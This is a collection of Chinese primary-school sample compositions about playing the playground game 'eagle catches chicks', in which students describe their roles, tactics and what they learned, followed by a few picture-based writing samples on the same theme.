“叮，叮，叮。 ”下课铃声响了，同学们才依依不舍地离开了操场。 老鹰捉小鸡作文8 　　今天我们要玩老鹰捉小鸡的游戏，有三个角色，一个人当老鹰，一个人当鸡妈妈，好多人当小鸡。 　　开始游戏了，我当了一只小鸡，另外一个人当老鹰，还有个人当鸡妈妈。鸡妈妈负责保护小鸡，老鹰来抓小鸡。 　　一天，鸡妈妈带着小鸡去散步，鸡妈妈先回家，让小鸡在这里玩。突然天上飞来一只老鹰，它盯着小鸡，一会儿老鹰就冲下来抓小鸡，小鸡跑到栅栏底下躲起来。 　　老鹰不开心，又去抓其他小鸡了。有的小鸡跑回家，有的小鸡大叫妈妈，还有的……最后老鹰空着肚子飞回空中，心想：小鸡怎么变聪明了？我明天再来。 　　小鸡都回家了，鸡妈妈还表扬了它们。 　　这个游戏真好玩，下次我还要玩。 老鹰捉小鸡作文9 　　这天午时，教师带着同学们去操场上玩老鹰捉小鸡的游戏。 　　同学们一组由一组的轮流着。这一切过得那么快，就像时空穿梭，当轮到我们这一组时，大家风平浪静的内心，刹那间有如狂风暴雨一般，真是太恐怖了。幸好我们这一组的老鹰是我的同桌王代源，他就应不会抓我吧，我放松了警惕，没想到开始抓的时候，他攻击的对象就是我，那时我的心怦怦直跳。鸡妈妈左一躲，右一躲，老鹰被鸡妈妈弄得迷迷糊糊，只听嘭的一声，摔在了地上，同学们都快笑破肚皮了。小鸡们这时已累得大汗淋淋，眼睛看什么东西都是会转的。 　　忽然，老鹰想出了一个绝妙之计，他站在那不动，让我们围着他转，时机一来，他就猛得向小鸡扑去，可是仍然没有抓着，自我还摔了一跤，这只老鹰太笨了，跟他玩没有什么挑战性，可是也挺有意思的。 老鹰捉小鸡作文10 　　今天班队课，王老师带着我们到篮球场玩老鹰捉小鸡的游戏。我们组选陆俊涛当老鹰，叶清影当鸡妈妈，其余小朋友当小鸡。 　　游戏开始了，“老鹰”扇动着翅膀，猛扑向“小鸡”，“鸡妈妈”张开双臂上前抵挡，可是，“老鹰”突然改变方向，伸出“爪子”，“鸡妈妈”来不及掉头，一只“小鸡”就被抓住了。“老鹰”高兴得哈哈大笑，等一下可以饱餐一顿了。“老鹰”又一次扑向“小鸡”，“鸡妈妈”勇敢地抓住“老鹰”，冲身后的“小鸡”大声喊道：“快蹲下，快蹲下！”“小鸡们”连忙蹲下，“鸡妈妈”见“小鸡们”安全了，自己也蹲了下来。“老鹰”没办法，只好在原地等“小鸡”站起来。 　　时间过得飞快，王老师下令回教室，我们只好依依不舍地回去了。 老鹰捉小鸡作文11 　　“叮铃铃，叮铃铃”，下课了，同学们一窝蜂地冲出教室，奔向操场，玩起了老鹰捉小鸡。我们一行五人很快分配好了角色，我是“母鸡”妈妈身后的第一只可爱的“小鸡”。 　　游戏开始了，“老鹰”一会儿往左跑，一会儿往右跑，“小鸡”们吓得尖叫，但一个拉着一个，不敢松手。我紧张地想：千万不要抓住我！“母鸡”妈妈大喊：“不要怕，有我在。”不管是“老鹰”来个“声东击西”,还是“穷追不舍”，“母鸡”都张开双臂挡住老鹰的去路，机警地保护着我们。 　　好像“老鹰”跑累了，只见他眼睛一眯，站在那里一动不动，一副不想抓我们的样子。“母鸡”和“小鸡”们看见“老鹰”这样，就放松了警惕，说：“哈哈哈，胆小鬼！”正当我们笑得开心的时候，“老鹰”猛地扑上来，一下子就把我身后的两只“小鸡”抓住了。真是一只狡猾的“老鹰”呀！ 　　我在游戏中感受到了快乐，也懂得了做事不能大意的道理。 老鹰捉小鸡作文12 　　课上，让我们在里玩老鹰捉小鸡的游戏。 　　选了行动敏捷的陈余当老鹰，身材高大的吴晨灵当鸡妈妈，还选了一些矮小的同学当小鸡。 　　游戏开始了，只见"老鹰"张开了翅膀，忽左忽右，时而上，时而下，紧盯最后一只"小鸡".：母鸡"也张开了翅膀，脚不停地左右移动，竭尽全力"小鸡"，"小鸡"也跟着"妈妈"左躲右藏，还发出尖叫。 　　第一次结束了，"老鹰"输了。它气急败坏。重新开始，它从"母鸡"的翅膀下钻了过去。最后一只"小鸡"脱离了队伍，"老鹰"轻而易举地捉住了"小鸡".望着吃饱的"老鹰"，我们大家都笑了，笑的是那样甜，那样美。 老鹰捉小鸡作文13 　　今天我们下课来了一个游戏，叫老鹰捉小鸡，我当老鹰，胡易然当鸡妈妈，林己力，林已力，蒙雨含，袁艺沙，王雅宣，戴松廷当小鸡。游戏开始了，小鸡们开始紧张了，我张开双臂，扇动起来，就好像老鹰的翅膀。 　　我开始捉小鸡，我跑起来，突然向右，鸡妈妈变迅速的改变方向，我又向左，看来鸡妈妈早已识破了我的诡计，又改变方向，然后我突然停下来了，死死的盯住了一只胖胖的小鸡，盯一会儿，小鸡们有点不耐烦了，就分散了注意力，我趁这个机会，捉住了那只小鸡。可是小鸡们太狡猾了，等我去捉其他小鸡的时候，那只小鸡就逃跑了，真是气死我了。 　　然后我猛的扑了上去，眼看就要捉到了，丁铃铃，丁铃铃，上课的时间到了， 老鹰捉小鸡作文14 　　一个阳光明媚的下午，作文班的胡老师正在和我们玩捉小鸡的游戏。 　　老师讲了游戏规则后，我们开始游戏。我是鹰，老师是母鸡妈妈，其他同学是鸡。 　　比赛开始时，小鸡们突然害怕了。我一直盯着那些鸡，想着怎么去抓它们。我左跳右跳，想躲开母鸡妈妈，去抓鸡。然而母鸡妈妈也不甘示弱，拼命保护自己的宝宝。 　　没办法。我只能站在自己第一的位置，回应一切变化。过了一会儿，小鸡放松了警惕。突然，我趁机强攻，钻到母鸡妈妈的翅膀下。小鸡害怕得尖叫起来。趁他们慌张，我抓了两只鸡。 　　比赛不知不觉就结束了。希望下次能玩这么精彩的游戏。 老鹰捉小鸡作文15 　　想必大家都玩过很多游戏，比如：写王字、捉迷藏、猫抓老鼠等游戏。下面我给大家讲一讲我喜欢的游戏：老鹰捉小鸡。 　　这一节是体育课，老师让我们在操场活动，听了老师的话，我飞奔过去，把朋友们请过来一起玩老鹰捉小鸡的游戏。 　　因为我的个子很高，他们想让我当母鸡，于是我就当了母鸡，随后，我们又选了一个男生来当老鹰，游戏开始了，老鹰向我们扑来，我展开双臂，拼命保护小鸡们，小鸡们心惊胆战地躲在我“鸡妈妈”身后，生怕被老鹰捉住，只见他们一个一个用手拉着前边一个个的衣服，一会躲到我的右侧，一会躲到我的左侧，队伍就像一条弯弯扭扭的蛇一样扭来扭曲，一点也不给老鹰机会。 　　突然，老鹰发力了，找到了一个进攻的机会，它看到一只小胖鸡，折腾半天，累坏了，老鹰看准机会，向小胖鸡扑了过去，小胖鸡被捉住了，气的直跺脚，老鹰开心极了。突然，上课铃响了，我们结束游戏纷纷回到了教室。 　　我喜欢这样的游戏，即能运动，也能玩！

　　在日常学习、工作抑或是生活中，大家最不陌生的就是作文了吧，通过作文可以把我们那些零零散散的思想，聚集在一块。你知道作文怎样写才规范吗？以下是我为大家整理的老鹰捉小鸡作文，欢迎阅读，希望大家能够喜欢。 老鹰捉小鸡作文1 　　星期二的下午，同学们和老师在一片草地上玩老鹰捉小鸡。 　　老师当“鸡妈妈”，小时当“老鹰”，剩下的同学们当“小鸡”。游戏开始了，鸡妈妈伸出翅膀，保护小鸡，老鹰扑了过来，小鸡们一会儿躲到妈妈的右翅下，一会儿躲到左翅下，小鸡一直尖叫着。不好，小光被老鹰捉住了！小红也一样被捉住了！两只小鸡被老鹰捉住后，剩下的小鸡更恐慌了。母鸡身后的小鸡歪过来倒过去，好像一只正在爬行的蛇。老鹰接二连三一口气捉了五只小鸡，真厉害！最后，还是鸡妈妈赢了，因为她还有十一只小鸡呢！看来，还是母鸡更厉害。 　　叮铃铃——上课了，同学们依依不舍地回到教室，盼着下一节课的到来。大家都很开心！ 老鹰捉小鸡作文2 　　一天，我和张怡、项英、黄滟一起玩老鹰捉小鸡的游戏。我是鸡妈妈，张怡、项英是小鸡，黄滟是老鹰。游戏规则是老鹰捉到谁谁就是下一个老鹰。 　　游戏开始了。“老鹰”张开五指，真的就像锋利的鹰爪一样，气势汹汹的向我们扑来。我连忙张开双臂阻挡，就像老母鸡张开双翅一样，保护着“小鸡”。“ 老鹰”见我防守严密，就想绕开我，她一忽儿奔东，一忽儿奔西，两只“小鸡”一个接一个的抓着我的衣服，灵活地躲闪着。为了保护好“小鸡”，我勇敢的迎上去，拼力阻拦这只“穷凶极恶”的“老鹰”。忽然，一不小心，掉在尾巴上的项英躲闪不及，被抓住了。可是，我们反而笑得更欢了，很快调换角色，又开始了新的游戏。 　　那天，虽然我们人不多，但是我们却玩得很开心，很痛快，直到天快黑了，我们才恋恋不舍地回家。 老鹰捉小鸡作文3 　　在众多游戏中，我最爱玩的就是老鹰捉小鸡。 　　下课了，同学们奔向操场玩耍，我和几个小伙伴开始玩老鹰捉小鸡的游戏。我当老鹰，小红当鸡妈妈，其他几个小伙伴当小鸡。 　　我一直往右跑，鸡妈妈就一直往右躲，就这样，跑了一圈又一圈，我累得满头大汗，怎么也抓不到小鸡。我仔细观察，先往右跑，然后突然又往左跑，鸡妈妈带着小鸡躲躲闪不及，一只小鸡被我成功抓到了。 　　通过这个游戏，我明白了做事情前要认真思考、仔细观察，争取选择更好的方法。 老鹰捉小鸡作文4 　　今天上午，杨老师带我们去操场上举行了一次有意思的“老鹰捉小鸡”的游戏。 　　徐帆自告奋勇地说：“我来当老鹰”。艾家伟说：“我要当慈祥的母鸡”。杨老师又选了十个同学来当小鸡，小鸡们排成一条长龙紧跟在母鸡的身后。 　　游戏开始了，只见老鹰凶猛地向小鸡们扑去。他一会儿向左扑，一会儿向右扑，想抓住“小鸡”。“母鸡”赶紧张开翅膀，一会儿向左挡，一会儿向右挡，勇敢地与老鹰斗争，奋不顾身地保护着小鸡们。小鸡们跟着母鸡左躲右闪，蹦来跳去。第一个回合下来，老鹰没捉住一只小鸡，累得满身大汗，气喘吁吁，只好停下来休息。小鸡们也放松了警惕，蹲在地上哈哈大笑。说时迟，那时快，老鹰趁小鸡们不防备，突然，向小鸡们扑去，终于捉住了一只小鸡。“捉到了！捉到了！”老鹰激动的叫起来。被“老鹰”捉住的“小鸡”扮着鬼脸说：“我死翘翘了”。引得大家又一阵大笑。 　　游戏继续进行着，同学们玩得真开心啊！ 老鹰捉小鸡作文5 　　一次次惊险的猛扑，一声声刺耳的尖叫，一阵阵开心的欢笑，一张张可爱的笑脸，构成了刺激的老鹰捉小鸡。 　　游戏开始了，老鹰向我们猛扑过来，脸上露出狰狞的坏笑，母鸡们赶紧张开双臂保护小鸡，我们在母鸡的保护下左躲右闪，丝毫没有让老鹰捉住的机会。这时老鹰想到一个好主意，他装出很累很没有力气的样子，却用余光看着我们。顿时间，母鸡松了口气，似乎在想：暂时安全了吧。 　　突然，老鹰像离弦的箭一样，再次向我们猛扑过来，在这电光火石之中，我和一位朋友被抓住了，游戏结束了。我们虽然输了，但是还是非常开心，意犹未尽，都觉得这次老鹰捉小鸡太好玩，太刺激了。现在每当我想起这鹰捉小鸡的游戏时时，都会沉浸在快乐的海洋之中。 老鹰捉小鸡作文6 　　今天下午第一节是体育话里有课，老师：“今天我们来做一个游戏。”我们高兴地跳了起来，我们来到操场上，老师说：“我们今天玩的游戏是《老鹰捉小鸡》。”老师叫我们排好队，然后选出“老鹰”和“小鸡”。我被选中是一只可怜的“小鸡”。游戏的规则是“老鹰”只能捉最后一只“小鸡”或离群的“小鸡”。 　　游戏开始了，一只凶猛的“老鹰”向“小鸡”扑来，“鸡妈妈”挺身而出挡住了“老鹰”的去路，只见“老鹰”停下了脚步在想办法，来捉住可怜的“小鸡”。“老鹰”眼珠一转，灵机一动想了一个好办法。“老鹰”一下子向左边跑，机灵的“鸡妈妈”紧跟过去，“老鹰”看“鸡妈妈”挡在了前面，一下子又向右边跑，又被聪明的“鸡妈妈”挡住了。几个回合下来，“老鹰”还是没有抓到“小鸡”，这时，“老鹰”发火了，像狮子般猛扑过去，一只“小鸡”吓得离开队伍，被“老鹰”捉住了。 　　这个故事告诉了我们，不管在什么情况下，都不能离开集体的队伍。 老鹰捉小鸡作文7 　　“叮当——”，下课后，我们像小鸟一样飞出教室，来到广阔的操场上玩“老鹰捉小鸡”。曹成了“母鸡”，邓可欣成了“鹰”，其余的学生成了“鸡”。 　　比赛开始了，我们不时从操场上传来笑声和喊声。凶猛的“鹰”低飞盘旋，她有力的“翅膀”扑向她的猎物——“鸡”。紧张的“母鸡妈妈”也展开了她宽大的“翅膀”来阻挡“老鹰”，保护她可爱的孩子——“小鸡”。“鹰”现在抓不到“鸡”。就像热锅上的蚂蚁在不停地跑。这时，不知为什么，原本拥有100倍精神力的“鹰”现在变成了一只虚弱的“鸡”！大家都不知道邓可馨在“鹰”葫芦里卖的是什么药.这时，她突然扑向我们的“小鸡”。当我们都惊慌失措的时候，反应敏捷的“母鸡”说：“趴下！”我们得救了，也松了口气。我们赢了，老鹰输了！输了的“鹰”邓可欣非常沮丧和不开心。每个人都说，“不要灰心，还有一次机会。” 　　这个游戏太有趣了。 老鹰捉小鸡作文8 　　今天的体锻课上，老师带我们到操场上玩起了“老鹰捉小鸡”的游戏。 　　开始分工任务了，我自告奋勇地当老鹰，而红红当大母鸡，其他人都是可爱的鸡宝宝。游戏正式开始了，鸡宝宝们一个接一个，紧紧地拉着小伙伴的衣服。作为老鹰的我，威风凛凛地站在他们面前，心想：我一定要抓只小鸡来炫耀自己的本领。于是我一会儿扑到东，一会儿扑到西。“母鸡”也不甘示弱，只见她展开双翅跟着左跑右跑，拼命地保护着小鸡，害得我一只小鸡也没捉到。我站住了脚，心想：这样不行，我得换一种方式。于是我先身体左右摇晃几下，突然发起猛攻，以迅雷不及掩耳之势，扑向“鸡群”，小鸡们顿时乱成一团，不知所措，我趁虚而入，捉住了一只小鸡，这只小鸡只好乖乖地离开了“鸡群”。渐渐地，小鸡们一只只都成了我的“美食”，我得意极了！ 　　不一会儿，下课铃声响了，我们结束了游戏，但我们久久沉浸在欢声笑语之中。 老鹰捉小鸡作文9 　　哎呀！妈呀！不要抓我，你们一定会想，怎么回事？这么吵，告诉你吧，我们正在玩一个游戏，叫做：“老鹰捉小鸡”。 　　老鹰的狠狠地盯着小鸡，老鹰张开了它的`血盆大口的嘴巴，是想吃掉肥美的小鸡，老鹰伸开五爪，就要扑过去似的。鸡伸开双翅，蹦着威胁老鹰说：“如果你要赶我的鸡宝宝，那我就跟你拼了。我浑身发抖，两腿直哆嗦，闭的紧紧地。其他小鸡们都“哇哇大叫”都往鸡身后躲。老鹰扑过去，想抓住肥美的小鸡，只见鸡爸爸拽着老鹰的翅膀，不让老鹰抓自己的鸡宝宝，小鸡赵泰宇猛抓住老鹰的翅膀，老鹰趁鸡爸爸累的时候，老鹰抓住了四只小鸡。 　　老鹰捉小鸡的游戏就在大家欢声笑语声中圆满的结束了。 老鹰捉小鸡作文10 　　在下午上体育课时，我们玩起了老鹰捉小鸡的游讨戏，老鹰就从跑步赛里面选，有何林龙、陈鑫韦、侯佳奇、佳梦奇还有我和班里的同学，选了陈鑫伟做老鹰，鸡爸爸呢?那就不用说了，肯定是我们班 的班长，曹聿恺，我自己呢?就是第一个鸡娃娃。 　　开始游戏了，老鹰就去攻击最后一个鸡娃娃去了，鸡爸爸老早想了个办法，一闪，快速的蹲了下去，我们鸡娃娃也顿了下去，只见陈鑫伟碰的一声，就翻了个大跟头，我们哈哈大笑，老鹰站起来不服气 地说：”再来一局，我非捉做一只小鸡美餐一顿不可。“ 　　鸡爸爸又早已想好了办法，开始了，眼看就捉到了，我们和鸡爸爸又来了一个雕虫小计，老鹰又没捉到小鸡，接着老鹰就疯狂地发起了一轮又一轮进攻，我们小鸡总有对付得办法，就这样一直坚持到结 束，我们赢了，老膺输了，2 ：0我们欢快地叫起来，我们赢了，不服气吧，老鹰。 　　真是一场我赢你输的老膺捉小鸡游戏啊!热闹之极。 老鹰捉小鸡作文11 　　看，“老鹰”忽左忽右地找着机会，“母鸡”一直张着双臂，不停地拦截着。此时，同学们正在走廊上玩“老鹰捉小鸡”的游戏。 　　大家分配好角色，“小鸡们”就紧紧抓住前面同学的后衣摆，排成一串躲到“母鸡”身后。“老鹰”弓起背，双腿分开微微弯曲，两手大张，目露凶光，看起来很凶猛。“母鸡”毫不畏惧，身体前倾，张大双臂。老鹰往左母鸡就往左老鹰往右，母鸡也往右，奋力保护着身后的小鸡。小鸡们又害怕又好奇，偷偷探出头看看老鹰，可一见到他的眼睛，马上又把头缩了回来，跟着母鸡左躲右闪。长长的队伍不时发“啊，啊”的尖叫声和“咯咯”的欢笑声。 　　不好！老鹰找准了一个特别好的时机，一个箭步闪到母鸡的左侧。他两腿叉开弓着背，向一只小鸡伸出手去。母鸡赶紧也跳到左边，用一只胳膊一插，死死挡住老鹰的去路。老鹰的进攻失败了，退了两步去喘气了。小鸡们长长地舒了一口气。 　　紧张刺激的游戏还在进行，同学们的笑声也传得很远很远。 老鹰捉小鸡作文12 　　我最喜欢玩老鹰捉小鸡了，游戏规则是这样的：选一个人当老鹰，再选一个人当鸡妈妈，其余的人当小鸡。鸡妈妈张开手臂只能拦住老鹰，老鹰只能跳来跳去捉小鸡，不能和鸡妈妈搏斗，当然鸡妈妈也不可以跟老鹰搏斗。 　　游戏开始了，老鹰站在最前面，和鸡妈妈面对面。最前的小鸡拉着鸡妈妈的（衣服），后面的小鸡一个接着一个拉着前面上鸡的衣服。机灵的老鹰左转转，右转转，把鸡妈妈搞得昏头昏脑，老鹰趁机捉了两只小鸡，看到这一切，鸡妈妈心里一阵着急，这时，老鹰又来了，鸡妈妈急忙手忙脚乱地拦住老鹰，可老鹰拐了个弯。捉走了剩下来的两只不鸡。老鹰得意洋洋，鸡妈妈垂头丧气。 　　老鹰捉小鸡确实特别好玩，不妨你也来玩玩看！ 老鹰捉小鸡作文13 　　最喜欢玩“老鹰抓小鸡”。每次都和姐姐，表姐，表姐，邻居的小姐姐一起玩。 　　我们用石头、剪刀和布来决定谁是“鹰”、“母鸡”和“鸡”。最后，我决定做一只鹰，表哥做一只母鸡，其他人做一只鸡。游戏开始了。我左右跳都跳不了“鸡”。我在想:表哥是怎么变聪明的？我玩了一个“小把戏”，抓了一只“鸡”——我妹妹。正当我得意洋洋的时候，小鸡被母鸡救了出来。我大惊失色，但我立刻振作精神去抓“鸡”。但是无论如何，你都抓不到鸡。“聪明”也不行。我心想:不可能！我想继续抓。你抓不到鸡。最后，我失败了。表哥，他们赢了。 　　经过这场比赛，我明白了一个道理:人在一天天进步。 老鹰捉小鸡作文14 　　今天我兴高采烈地来到班课堂，刚到门口就听到了同学们的欢呼声，原来啊，今天要玩“老鹰捉小鸡”的游戏，难怪同学们这么开心。 　　我们轻声慢步地走过别的班级，生怕惊动了正在上课的他们。我们来到了南山广场，老师开始宣布游戏规则：一个队选出一名队长，取一个队名。我们是a队，他们是b队。游戏尚未开始，我们已经做好了充足的准备。这时老师又说：“这次b队当小鸡，队长当鸡妈妈。a队的队长当老鹰，其他队员加油助威。” 　　游戏开始了，“老鹰”张开双臂叉开双腿，弓着腰，恶狠狠地盯着我和其他“小鸡”。我们害怕极了。我和“鸡宝宝”看见老鹰冲过来，左躲右闪。我心想：我可不要当老鹰的盘中餐。 　　今天我开心极了，这个游戏太好玩了。 　　下次老师再带我们去上活动课，我们一定会让他们一步！ 老鹰捉小鸡作文15 　　这天，教师带着我们到操场上玩老鹰捉小鸡的游戏。教师让卢佳珂当老鹰，让赵子琦做鸡妈妈，剩下的都是可爱的小鸡。 　　游戏开始了，老鹰张牙舞爪地向我们扑了过来，鸡妈妈连忙展开双臂挡住了老鹰的袭击，老鹰又扑了过来，鸡妈妈带着鸡宝宝们赶紧一躲，让老鹰扑了个空，这一回，老鹰差点摔了一跤呢!老鹰左冲右扑怎样捉也捉不着，可是老鹰还不罢休，又重新想捉小鸡的办法。他说：太累了，休息一会儿。鸡妈妈也说：孩子们，休息一会儿吧！鸡妈妈和小鸡刚坐下，突然，老鹰又猛地扑了过来，这回老鹰的收获可真不小，一下子捉隹了五只小鸡。 　　游戏结束了，老鹰捉小鸡的游戏不仅仅给我带来了欢乐，还让我懂得了做什么事情都要动脑筋。

　　在日常的学习、工作、生活中，许多人都有过写作文的经历，对作文都不陌生吧，作文根据写作时限的不同可以分为限时作文和非限时作文。还是对作文一筹莫展吗？以下是我为大家收集的老鹰捉小鸡二年级作文6篇，仅供参考，希望能够帮助到大家。 老鹰捉小鸡二年级作文 篇1 　　“叮铃铃、叮铃铃”下课了。我们像一群小鸟“飞”出了教室，来到操场，我们便玩起了“老鹰捉小鸡”的游戏。 　　首先，我们进行了分工。徐浩当老鹰，我当鸡妈妈，丰淑晴、关梓诺等当鸡宝宝。 　　开始了，老鹰就像饿狼一样，猛的向我的鸡宝宝们扑过来。我也不甘示弱，张开“翅膀”，拼命地护着自己的“孩子”，由于老鹰来势凶猛，鸡宝宝们吓得紧攥着我的衣服，发出一阵阵尖叫声。狡猾的老鹰没有得逞，便后退了几步，佯装挠头，然后又来了个猛扑，怎奈我的鸡宝宝们机智、灵巧，老鹰总是扑空。于是，他便像泄气的皮球一样，坐在了地上。我们终于可以喘口气了，也一起蹲下歇息片刻。 　　忽然，老鹰的手扶着地想站起来，我立刻呼唤鸡宝宝们提高警惕，并以最快的速度站了起来。我们一边朝后退着，一边躲闪着凶猛的老鹰。任凭老鹰左击右攻，我们都一次又一次地躲过了危机，当然也没有伤到聪明的鸡宝宝一根毫毛。 　　我们大战了不知多少回合，老鹰已累得气喘如牛了。鸡宝宝们一边欢呼雀跃着，一边讽刺、挑衅着。正当我们得意忘形时，老鹰却凶狠狠的冲了过来，他的力量好像又复活了似的。他猛地来了一个“饿狼扑食”，抓走了一个鸡宝宝，其余的鸡宝宝惊恐万分，有几个竟被冲散了。之后，老鹰更是威风大振，可怜的鸡宝宝们在一阵阵挣扎声中被老鹰捉走了，结果，我的鸡宝宝们一个也没剩！ 　　这就是我们常玩的老鹰捉小鸡游戏，虽然我们输了，但我们也玩得特别痛快。它不仅锻炼了我们的身体，还锻炼了我们的判断能力和反应速度。 老鹰捉小鸡二年级作文 篇2 　　叮铃铃，下课玲响了，同学们冲出教室，来到操场。小红和小刚带领着一群同学们来到操场上，准备玩老鹰捉小鸡。在他们一番激烈的讨论后，一致先定小红当老鹰，小刚当母鸡，其他人刚当小鸡。 　　游戏开始了，老鹰小红使劲扑向小刚身后的小鸡，像一只猛虎在追赶猎物一样。小刚伸出双手，阻挡住小红，就像一只真的母鸡在拼命的保护着自己的小宝宝。身后的小鸡站成一竖排，每个人都紧紧地拉着前面人的衣角，一刻也不放松。他们跟着母鸡的身后，左躲右闪，生怕成了老鹰的盘中餐。小红使出许多诡计想让小刚中计，可是都被小刚识破了。 　　突然，小红眼眼珠子一转，计上心来。她故意生气的坐在一边低着头，好奇的小鸡们都围过去看，这时，小红跳起来，一下子抓住了两只小鸡，小鸡们立刻仓皇逃跑，原本整齐的队列一下子变得乱起来。被抓的那些小鸡则成了老鹰的盘中餐。 　　其他小鸡并不气馁，不一会，就整好队列，准备迎接老鹰的第二次攻击。 老鹰捉小鸡二年级作文 篇3 　　今天，上作文课之前，老师带我们玩了一个游戏叫“老鹰捉小鸡”。 　　老师先让我们选老鹰，张帆自告奋勇当“老鹰”我们又选刘思蕾当“鸡妈妈”。游戏开始了，老鹰开始进攻，他“飞”的很快，我一不小心松开手，被老鹰捉住了，被带回了鹰巢。手疾眼快的刘芷建躲开老鹰，把我救了出去。老鹰很凶猛，我心里很紧张，紧紧抱着前面的同学，生怕被老鹰捉到，我们玩得兴高采烈。 　　游戏结束了，我玩得十分开心。 老鹰捉小鸡二年级作文 篇4 　　星期天，我又来到了羽毛球馆练习打球，结束前的半小时是我最喜欢的"游戏时刻，教练让我们玩“老鹰捉小鸡”游戏。 　　教练让动作敏捷的杨杨当“老鹰”，让身强力壮的尧尧当“母鸡”，其他人自然都只能当“小鸡”了。大家都做好了开始的准备，我暗暗地对自己说：“我一定要跑快点，因为那只老鹰太强大了。”游戏快要开始了，“老鹰”已经在蠢蠢欲动了，他虎视眈眈地盯着“小鸡”们。“小鸡”们也开始退缩，我也不禁紧张起来。 　　突然，“老鹰”扑了过来，我们连忙左躲右闪。几个回合后，一只“小鸡”跑出了“鸡群”，“老鹰”一下子扑上去把“小鸡”捉住了。 　　我们见了，立刻商量出了一条对付“老鹰”的计策：由我和明明不断叫喊，吸引“老鹰”的注意力。“老鹰”一会儿跑到左来抓我，一会儿奔向右去抓明明，这下把他累得筋疲力尽，一屁股瘫坐在地上，只好认输了。 　　快乐的时光很快就过去了，教练宣布活动结束。望着大家离去的背影，我明白了一个道理：团结的力量是最强大的！ 老鹰捉小鸡二年级作文 篇5 　　“叮铃铃”下课了，同学们兴高采烈地来到了操场上玩起了“老鹰”捉“小鸡”的游戏。 　　“老鹰”捉“小鸡”的游戏规则是先选一个“老鹰”，再选一个“鸡妈妈”，其他的同学都是“小鸡”，他们一个抓一个人的衣服，躲在“鸡妈妈”的身后，“鸡妈妈”是保护小鸡的，当“老鹰”捉“小鸡”时，“小鸡”就蹲了下来。“老鹰”就不能捉“小鸡”了；当“老鹰”捉到小鸡时，小鸡就做俘虏，站在一旁当观众。 　　游戏开始了，“老鹰”扑过去，“鸡妈妈”张开手，左挡右拦，“小鸡们”左躲右闪。当“老鹰”快要捉到“小鸡”时，“小鸡”就立刻蹲了下来。忽然，“老鹰”想到了一个声东击西的办法，“老鹰”往左边扑去，“鸡妈妈”上当了，“鸡妈妈”就往左边挡去，“小鸡”就往右边躲，“老鹰”忽然往右边扑去，“小鸡”和“鸡妈妈”都没注意，所以，“小鸡”被捉到了两只，他们只能当俘虏了。 　　“叮铃铃”上课铃响了，同学们开开心心地上课去了。 老鹰捉小鸡二年级作文 篇6 　　今天下课，我和四个同学玩老鹰捉小鸡，我们让班长当母鸡，我们又石头剪刀布来决定谁当老鹰，结果我赢了。 　　游戏开始了，母鸡后面的三只小鸡摇来摇去的，我向前一冲，被母鸡挡住了。我并不灰心，我悄悄的跑到母鸡后面，抓到了一只小鸡。这时，母鸡对他说：“不要灰心，下次再玩，我们让你当母鸡。”他说：“我没有伤心，谢谢你。” 　　第二轮游戏开始了，母鸡一心一意的看着我，我向左冲，她向右躲。一连好几次，我都是只差一点点就能抓到了，我在心里想：要相信自己，一定会成功的。我飞快的绕着母鸡和小鸡转来转去，母鸡飞快的保护她的孩子。她往旁边一闪，我就抓了一个空。我想：她的鬼点子可真多呀！不然老师不可能让她当班长的。我跑来跑去，终于抓住了一只小鸡，班长伤心的走进教室。我成功啦！我开心的一蹦三尺高。我对小鸡们说：“别伤心了，这只是一个游戏。” 　　我多么喜欢玩这个游戏啊！

1. 三年级看图写话老鹰和鸡 中午，二年级三班举行了老鹰捉小鸡的比赛。 首先，老师当老鹰，小龙当鸡妈妈，其他同学当小鸡。比赛开始了，老鹰一不小心，把鸡妈妈抓住了。小鸡们躲在鸡妈妈后面哈哈大笑，得意地说：“有本事你快点来抓我呀！” 老鹰生气了，不断地向鸡群扑去。一只、两只。。很多只小鸡被抓住了，只剩下了一只小鸡没有被抓到。鸡妈妈更加小心地保护着小鸡，小鸡也左躲右闪，老鹰一直没能抓到这只小鸡，这让他非常头疼。 到了最后，老鹰不得不表示投降，准备进行下一轮比赛。 2. 六年级看图作文《鸡与老鹰》 《六二班》熊浩 今天下午活动课的时候，同学们在老师的带领下兴高采烈地来到操场上做"老鹰捉小鸡"的游戏. 游戏开始了，小明当老鹰，小红当老母鸡，其它的同学做小鸡.老母鸡带着一群小鸡在草地上找虫子吃.不一会儿，一只凶恶的老鹰如猛虎出山似的飞过来用锐利的眼睛盯着小鸡们.老母鸡看见了，就展开有力的翅膀咧开嘴，一双炯炯有神的眼睛瞪着老鹰，它用全身的力量抖动着浑身的毛，威武极了！老母鸡喔喔地叫好像在说："孩子要注意，老鹰来了！老鹰来了！"老鹰装出一副毫不示弱的样子飞快地向小鸡们飞去.老母鸡也不甘落后，一会儿跑来，一会儿跑去.这时，小鸡看见老鹰那可怕的样子被吓坏了，连声大叫："妈妈！妈妈！快来救我."有一只小鸡离开了鸡群被老鹰捉走了.老母鸡的心难过极了，正在这时候，老鹰就来了一个海底捞月亮的动作把另一只小鸡叨走了.在旁边观看的同学不时发出一阵阵观笑声.使宁静的操场顿时热闹起来. 我觉得老鹰捉小鸡的游戏多么好玩啊。 3. 鹰和鸡对话600字的作文范文 一只老鹰在蓝天碧空里翱翔。他时而像支利箭直冲云宵，时而像架表演的飞机一样俯瞰大地，又时而像孙悟空一样翻滚着筋斗……精彩的表演把地面的小孩子都看得惊呆了。为此，他十分得意，觉得这片蓝天里除了他老鹰外，再没有什么动物能比过他。 这时，地面有一只高大、强壮的公鸡正在利用自己个头的优势欺负着一只弱小的母鸡，把这只可怜的母鸡啄得遍体鳞伤。老鹰看见了，很是生气。于是，他大声地斥责着公鸡：“你这算什么本事？别看你长得高大，只知道欺负弱小的！有本事也到蓝天里飞翔呀！”公鸡瞥了一眼那只飞得很低的老鹰，鼻孔里不屑地哼了一声，大声地对老鹰说：“你神气个啥！你以为你是老鹰就了起啦！”如果不给你一片蓝天，你纵使有冲天的本事也是枉然，你不也和我们鸡一样。。” 4. 看图写作文老鹰母鸡和三只小鸡 星期天，天气晴朗，阳光明媚，小明和妈妈到楼下去玩。小明看见了他的好朋友小冬，小芳，军军和丁丁在草坪上玩耍。小冬提议说：“我们来玩老鹰捉小鸡的游戏吧！”‘好啊好啊！“大家异口同声地说。小冬说：”让阿姨当鸡妈妈，我当老鹰，其余的人做小鸡。“游戏开始了，老鹰扑动着翅膀，向小鸡们发起进攻。 鸡妈妈为了防止老鹰抓住自己身后的小鸡，张开双臂，一会儿往左，一会儿往右。小鸡紧紧抓住鸡妈妈的衣服，一个拉着一个，听着鸡妈妈的指挥。 